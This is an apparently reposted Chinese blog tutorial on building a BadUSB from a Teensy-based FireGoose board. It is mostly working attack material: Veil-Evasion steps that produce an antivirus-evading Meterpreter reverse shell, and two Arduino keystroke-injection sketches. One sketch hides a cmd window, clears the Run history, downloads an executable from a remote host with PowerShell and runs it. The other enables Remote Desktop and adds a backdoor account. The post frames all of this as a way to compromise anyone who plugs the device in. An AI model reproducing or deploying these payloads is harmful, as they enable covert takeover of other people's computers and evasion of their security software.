利用烧鹅制作简单BadUSB，插谁谁怀孕

92 阅读 0 评论 61 点赞

我是靠谱客的博主拼搏小蚂蚁，最近开发中收集的这篇文章主要介绍利用烧鹅制作简单BadUSB，插谁谁怀孕，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

所用硬件设备为烧鹅，烧鹅是RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的USB Rubber Ducky类开发板。
使用veil编码meterpreter生成payload(经过编码的payload在杀软中仅能够存活几分钟)，放到服务器上。插入烧鹅，模拟键盘输入，在cmd中下载payload，并执行。

Github：https://github.com/RadioWar/FireGoose

0x1 利用veil编码打造免杀的meterpreter

root@kali:~# veil-evasion //启动veil
[>] Please enter a command: list //查看可选列表
26) python/meterpreter/rev_tcp

[>] Please enter a command: 26 //这里选择编号为26的payload
[>] Please enter a command: set LHOST 192.168.31.233 //设置LHOST

[>] Please enter a command: generate //对payload进行编码
[*] Press [enter] for 'payload'
[>] Please enter the base name for output files: a //输入生成的payload名字
[>] Please enter the number of your choice: 1 //选择编码方式

[*] Executable written to: /root/veil-output/compiled/a1.exe //生成经过编码的payload位置

0x2 将执行代码写入badusb中

使用Arduino IDE 写入,其中下载使用的是PowerShell，如果使用vbs那种方法，360会报警

 1 void setup() {
//初始化，这里的代码只执行一次 
 2 delay(5000);
//设置延时，让系统有足够的时间识别烧鹅，防止后续代码执行错乱。 
 3 Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
// 按下Win键 
 4 Keyboard.set_key1(KEY_R);
// 同时按下R键 
 5 Keyboard.send_now();
// 发送Win+R 
 6 delay(100);
 7 Keyboard.print("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
 8 //开启极小的CMD窗口，设置文字和背景对比度尽可能相近，达到隐藏输入的目的 
 9 Keyboard.set_key1(KEY_ENTER);
10 Keyboard.send_now();
11 delay(300);
12 Keyboard.println("reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f");
//利用注册表清除开始--运行的记录 
13 Keyboard.set_key1(KEY_ENTER);
14 Keyboard.send_now();
15 Keyboard.println("powershell (new- object System.Net.WebClient).DownloadFile('http://192.168.1.100 /a1.exe','D:\1.exe')");
//下载远程的payload 
16 Keyboard.set_key1(KEY_ENTER);
17 Keyboard.send_now();
18 Keyboard.set_modifier(0);
19 Keyboard.set_key1(0);
20 Keyboard.send_now();
21 delay(3000);
//设置延迟，等待下载完成 
22 Keyboard.println("d:\1.exe");
//执行打开命令 
23 Keyboard.set_key1(KEY_ENTER);
24 delay(300);
25 Keyboard.set_modifier(0);
26 Keyboard.set_key1(0);
27 Keyboard.set_modifier(MODIFIERKEY_ALT);
28 Keyboard.set_key1(KEY_SPACE);
29 Keyboard.set_key2(KEY_C);
30 Keyboard.send_now();
31 Keyboard.set_modifier(0);
32 Keyboard.set_key1(0);
33 Keyboard.set_key2(0);
34 Keyboard.send_now();
//关闭cmd窗口 
35 
}
36
void loop()
//循环，这里的代码无限循环 
37 
{
38
}

对于win7开启3389，并加帐户，使用

 1 void setup() {
//初始化，这里的代码只执行一次
 2
delay(5000);
//设置延时，让系统有足够的时间识别烧鹅，防止后续代码执行错乱。
 3
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
// 按下Win键
 4
Keyboard.set_key1(KEY_R);
// 同时按下R键
 5
Keyboard.send_now();
// 发送Win+R
 6
delay(100);
 7
Keyboard.print("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
 8 //开启极小的CMD窗口，设置文字和背景对比度尽可能相近，达到隐藏输入的目的
 9 
Keyboard.set_key1(KEY_ENTER);
10 
Keyboard.send_now();
11
delay(300);
12
Keyboard.println("REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f");
//开启3389
13 
Keyboard.set_key1(KEY_ENTER);
14 
Keyboard.send_now();
15
Keyboard.println("net user 123 123 /add");
//添加帐户
16
Keyboard.set_modifier(0);
17
Keyboard.set_key1(0);
18 
Keyboard.send_now();
19
delay(500);
20
Keyboard.set_modifier(0);
21
Keyboard.set_key1(0);
22 
Keyboard.set_modifier(MODIFIERKEY_ALT);
23 
Keyboard.set_key1(KEY_SPACE);
24 
Keyboard.set_key2(KEY_C);
25 
Keyboard.send_now();
26
Keyboard.set_modifier(0);
27
Keyboard.set_key1(0);
28
Keyboard.set_key2(0);
29
Keyboard.send_now();
//关闭cmd
30 
}
31
void loop()
//循环，这里的代码无限循环
32 
{
33
}